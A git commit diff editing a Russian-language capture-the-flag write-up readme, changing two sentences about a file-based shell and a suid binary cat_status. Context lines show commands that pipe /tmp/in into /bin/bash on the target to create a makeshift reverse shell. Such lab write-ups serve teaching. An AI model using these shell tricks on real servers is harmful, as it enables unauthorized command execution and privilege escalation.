Update 'tasks/vim and cats/readme.md'

This commit is contained in:
dragonmuffin 2023-06-20 13:38:11 +00:00
parent 7ab78dc35a
commit e4333a1e2b

View file

@ -74,7 +74,7 @@ command('cd /tmp;cat /tmp/in | /bin/bash > /tmp/out') # Работать впо
command('sleep 9999999 > /tmp/in') command('sleep 9999999 > /tmp/in')
``` ```
В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, сейчас нужно послать её в /tmp/in и считать результат из /tmp/out. В третьем открытом python будем реализовывать интерфейс общения. Чтобы выполнить команду, нужно послать её в /tmp/in и считать результат из /tmp/out.
```python ```python
def shell(): def shell():
@ -88,7 +88,7 @@ def shell():
Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером. Готово! Теперь, у нас есть удобный reverse-shell для взаимодействия с сервером.
Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status, а рядом можем найти исходный код программы. Разберёмся с программой. Нашим reverse-shell мы узнаем что в /opt есть бинарный файл cat_status с suid битом, а рядом можем найти исходный код программы.
```c ```c
#include<stdlib.h> #include<stdlib.h>
#include<stdio.h> #include<stdio.h>